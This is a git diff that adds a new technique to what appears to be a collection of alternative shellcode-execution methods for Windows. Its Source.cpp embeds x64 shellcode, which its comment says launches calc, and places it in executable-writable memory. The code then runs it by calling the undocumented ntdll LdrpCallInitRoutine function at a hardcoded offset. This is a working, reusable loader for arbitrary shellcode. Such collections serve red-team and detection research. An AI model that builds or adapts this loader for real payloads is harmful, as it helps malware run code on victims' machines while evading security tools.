diff --git a/AlternativeShellcodeExec.sln b/AlternativeShellcodeExec.sln index 31f9a07..c1d8717 100644 --- a/AlternativeShellcodeExec.sln +++ b/AlternativeShellcodeExec.sln @@ -53,6 +53,8 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "FiberContextEdit", "FiberCo EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "FlsAlloc", "FlsAlloc\FlsAlloc.vcxproj", "{784E8C7B-CCB3-40CF-8FEF-7D01A563CEE5}" EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "LdrpCallInitRoutine", "LdrpCallInitRoutine\LdrpCallInitRoutine.vcxproj", "{6C619AA0-A97B-441D-8A7C-EE86BFEB7D62}" +EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|x64 = Debug|x64 @@ -261,6 +263,14 @@ Global {784E8C7B-CCB3-40CF-8FEF-7D01A563CEE5}.Release|x64.Build.0 = Release|x64 {784E8C7B-CCB3-40CF-8FEF-7D01A563CEE5}.Release|x86.ActiveCfg = Release|Win32 {784E8C7B-CCB3-40CF-8FEF-7D01A563CEE5}.Release|x86.Build.0 = Release|Win32 + {6C619AA0-A97B-441D-8A7C-EE86BFEB7D62}.Debug|x64.ActiveCfg = Debug|x64 + {6C619AA0-A97B-441D-8A7C-EE86BFEB7D62}.Debug|x64.Build.0 = Debug|x64 + {6C619AA0-A97B-441D-8A7C-EE86BFEB7D62}.Debug|x86.ActiveCfg = Debug|Win32 + {6C619AA0-A97B-441D-8A7C-EE86BFEB7D62}.Debug|x86.Build.0 = Debug|Win32 + {6C619AA0-A97B-441D-8A7C-EE86BFEB7D62}.Release|x64.ActiveCfg = Release|x64 + {6C619AA0-A97B-441D-8A7C-EE86BFEB7D62}.Release|x64.Build.0 = Release|x64 + {6C619AA0-A97B-441D-8A7C-EE86BFEB7D62}.Release|x86.ActiveCfg = Release|Win32 + {6C619AA0-A97B-441D-8A7C-EE86BFEB7D62}.Release|x86.Build.0 = Release|Win32 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE diff --git a/LdrpCallInitRoutine/LdrpCallInitRoutine.vcxproj b/LdrpCallInitRoutine/LdrpCallInitRoutine.vcxproj new file mode 100644 index 0000000..dbb0e37 --- /dev/null +++ b/LdrpCallInitRoutine/LdrpCallInitRoutine.vcxproj @@ -0,0 +1,147 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {6c619aa0-a97b-441d-8a7c-ee86bfeb7d62} + LdrpCallInitRoutine + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + \ No newline at end of file diff --git a/LdrpCallInitRoutine/LdrpCallInitRoutine.vcxproj.filters b/LdrpCallInitRoutine/LdrpCallInitRoutine.vcxproj.filters new file mode 100644 index 0000000..3e7e62e --- /dev/null +++ b/LdrpCallInitRoutine/LdrpCallInitRoutine.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git a/LdrpCallInitRoutine/Source.cpp b/LdrpCallInitRoutine/Source.cpp new file mode 100644 index 0000000..e80f0e4 --- /dev/null +++ b/LdrpCallInitRoutine/Source.cpp @@ -0,0 +1,48 @@ +#include +#include + +// alfarom256 calc shellcode +unsigned char op[] = +"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" +"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" +"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" +"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" +"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" +"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" +"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" +"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" +"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" +"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" +"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" +"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" +"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" +"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" +"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" +"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" +"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" +"\x63\x2e\x65\x78\x65\x00"; + + +typedef size_t(__fastcall* lpCallInitRoutine)(size_t, size_t, size_t); +typedef char(__fastcall* pLdrpCallInitRoutine)(lpCallInitRoutine, size_t, unsigned int, size_t); + +#define NTDLL_LDRPCALLINITRT_OFFSET 0x000199bc +// ? ntdll!LdrpCallInitRoutine - ntdll + +int main() { + HANDLE hProcess = ::GetCurrentProcess(); + + LPVOID address = ::VirtualAlloc(NULL, sizeof(op), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (!address) { return -1; } + memcpy(address, &op[0], sizeof(op)); + + uintptr_t hNtdll = (uintptr_t)GetModuleHandleA("ntdll"); + if (!hNtdll) { return -1; } + + // todo: find a better way to get LdrpCallInitRoutine. I'm lazy right now. + uintptr_t func = hNtdll + NTDLL_LDRPCALLINITRT_OFFSET; + pLdrpCallInitRoutine LdrpCallInitRoutine = (pLdrpCallInitRoutine)func; + LdrpCallInitRoutine((lpCallInitRoutine)address, 0, 0, 0); + +} \ No newline at end of file